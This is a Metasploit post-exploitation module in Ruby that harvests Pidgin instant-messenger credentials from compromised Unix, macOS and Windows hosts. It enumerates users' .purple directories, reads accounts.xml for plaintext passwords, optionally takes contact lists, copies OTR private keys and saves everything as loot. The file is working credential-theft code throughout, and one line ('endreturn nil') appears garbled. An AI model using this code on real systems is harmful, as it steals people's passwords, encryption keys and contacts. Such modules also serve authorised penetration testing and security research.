##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
        'Description' => %q{
          This module will collect credentials from the Pidgin IM client if it is installed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bannedit', # post port, added support for shell sessions
          'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
        ],
        'Platform' => %w[bsd linux osx unix win],
        'SessionTypes' => ['shell', 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
              stdapi_sys_config_getenv
              stdapi_sys_config_getuid
            ]
          }
        }
      )
    )
    register_options(
      [
        OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
        # Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
      ]
    )
  end

  # TODO: add support for collecting logs
  def run
    paths = []
    case session.platform
    when 'unix', 'linux', 'bsd'
      @platform = :unix
      paths = enum_users_unix
    when 'osx'
      @platform = :osx
      paths = enum_users_unix
    when 'windows'
      @platform = :windows
      profiles = grab_user_profiles
      profiles.each do |user|
        next if user['AppData'].nil?

        pdir = check_pidgin(user['AppData'])
        paths << pdir if pdir
      end
    else
      print_error "Unsupported platform #{session.platform}"
      return
    end
    if paths.nil? || paths.empty?
      print_status('No users found with a .purple directory')
      return
    end

    get_pidgin_creds(paths)
  end

  def enum_users_unix
    if @platform == :osx
      home = '/Users/'
    else
      home = '/home/'
    end

    if got_root?
      userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
      userdirs << "/root\n"
    else
      userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
      if userdirs =~ /No such file/i
        return
      else
        print_status("Found Pidgin profile for: #{whoami}")
        return ["#{home}#{whoami}/.purple"]
      end
    end

    paths = Array.new
    userdirs.each_line do |dir|
      dir.chomp!
      next if dir == '.' || dir == '..'

      dir = "#{home}#{dir}" if dir !~ /root/
      print_status("Checking for Pidgin profile in: #{dir}")

      stat = session.shell_command("ls #{dir}/.purple")
      next if stat =~ /No such file/i

      paths << "#{dir}/.purple"
    end
    return paths
  end

  def check_pidgin(purpledir)
    path = ''
    print_status("Checking for Pidgin profile in: #{purpledir}")
    session.fs.dir.foreach(purpledir) do |dir|
      if dir =~ /\.purple/
        if @platform == :windows
          print_status("Found #{purpledir}\\#{dir}")
          path = "#{purpledir}\\#{dir}"
        else
          print_status("Found #{purpledir}/#{dir}")
          path = "#{purpledir}/#{dir}"
        end
        return path
      end
    end
    return nil
    endreturn nil
  end

  def get_pidgin_creds(paths)
    case paths
    when /#{@user}\\(.*)\\/
      sys_user = ::Regexp.last_match(1)
    when %r{home/(.*)/}
      sys_user = ::Regexp.last_match(1)
    end

    data = ''
    credentials = Rex::Text::Table.new(
      'Header' => 'Pidgin Credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'System User',
        'Username',
        'Password',
        'Protocol',
        'Server',
        'Port'
      ]
    )

    buddylists = Rex::Text::Table.new(
      'Header' => 'Pidgin Contact List',
      'Indent' => 1,
      'Columns' =>
      [
        'System User',
        'Buddy Name',
        'Alias',
        'Protocol',
        'Account'
      ]
    )

    paths.each do |path|
      print_status("Reading accounts.xml file from #{path}")
      if session.type == 'shell'
        type = :shell
        data = session.shell_command("cat #{path}/accounts.xml")
      else
        type = :meterp
        accounts = session.fs.file.new("#{path}\\accounts.xml", 'rb')
        data << accounts.read until accounts.eof?
      end

      creds = parse_accounts(data)

      if datastore['CONTACTS']
        blist = ''
        case type
        when :shell
          blist = session.shell_command("cat #{path}/blist.xml")
        when :meterp
          buddyxml = session.fs.file.new("#{path}/blist.xml", 'rb')
          blist << buddyxml.read until buddyxml.eof?
        end

        buddies = parse_buddies(blist)
      end

      creds.each do |cred|
        credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
      end

      if buddies
        buddies.each do |buddy|
          buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
        end
      end

      # Grab otr.private_key
      otr_key = ''
      if session.type == 'shell'
        otr_key = session.shell_command("cat #{path}/otr.private_key")
      else
        key_file = "#{path}/otr.private_key"
        otrkey = begin
          session.fs.file.stat(key_file)
        rescue StandardError
          nil
        end
        if otrkey
          f = session.fs.file.new(key_file, 'rb')
          otr_key << f.read until f.eof?
        else
          otr_key = 'No such file'
        end
      end

      if otr_key !~ /No such file/
        store_loot('otr.private_key', 'text/plain', session, otr_key.to_s, 'otr.private_key', 'otr.private_key')
        print_good("OTR Key: #{otr_key}")
      end
    end

    if datastore['CONTACTS']
      store_loot('pidgin.contacts', 'text/plain', session, buddylists.to_csv, 'pidgin_contactlists.txt', 'Pidgin Contacts')
    end

    store_loot('pidgin.creds', 'text/plain', session, credentials.to_csv, 'pidgin_credentials.txt', 'Pidgin Credentials')
  end

  def parse_accounts(data)
    creds = []
    doc = REXML::Document.new(data).root

    doc.elements.each('account') do |sub|
      account = {}
      if sub.elements['password']
        account['password'] = sub.elements['password'].text
      else
        account['password'] = '<unknown>'
      end

      account['protocol'] = begin
        sub.elements['protocol'].text
      rescue StandardError
        '<unknown>'
      end
      account['user'] = begin
        sub.elements['name'].text
      rescue StandardError
        '<unknown>'
      end
      account['server'] = begin
        sub.elements['settings'].elements["setting[@name='server']"].text
      rescue StandardError
        '<unknown>'
      end
      account['port'] = begin
        sub.elements['settings'].elements["setting[@name='port']"].text
      rescue StandardError
        '<unknown>'
      end
      creds << account

      print_status('Collected the following credentials:')
      print_status('    Server: %s:%s' % [account['server'], account['port']])
      print_status('    Protocol: %s' % account['protocol'])
      print_status('    Username: %s' % account['user'])
      print_status('    Password: %s' % account['password'])
      print_line('')
    end

    return creds
  end

  def parse_buddies(data)
    buddies = []

    doc = REXML::Document.new(data).root
    doc.elements['blist'].elements.each('group') do |group|
      group.elements.each('contact') do |bcontact|
        contact = {}
        contact['name'] = begin
          bcontact.elements['buddy'].elements['name'].text
        rescue StandardError
          '<unknown>'
        end
        contact['account'] = begin
          bcontact.elements['buddy'].attributes['account']
        rescue StandardError
          '<unknown>'
        end
        contact['protocol'] = begin
          bcontact.elements['buddy'].attributes['proto']
        rescue StandardError
          '<unknown>'
        end

        if bcontact.elements['buddy'].elements['alias']
          contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
        else
          contact['alias'] = '<unknown>'
        end

        buddies << contact
        print_status('Collected the following contacts:')
        print_status('    Buddy Name: %s' % contact['name'])
        print_status('    Alias: %s' % contact['alias'])
        print_status('    Protocol: %s' % contact['protocol'])
        print_status('    Account: %s' % contact['account'])
        print_line('')
      end
    end

    return buddies
  end

  def got_root?
    case @platform
    when :windows
      if session.sys.config.getuid =~ /SYSTEM/
        return true
      else
        return false
      end
    else # unix, bsd, linux, osx
      ret = whoami
      if ret =~ /root/
        return true
      else
        return false
      end
    end
  end

  def whoami
    if @platform == :windows
      session.sys.config.getenv('USERNAME')
    else
      session.shell_command('whoami').chomp
    end
  end
end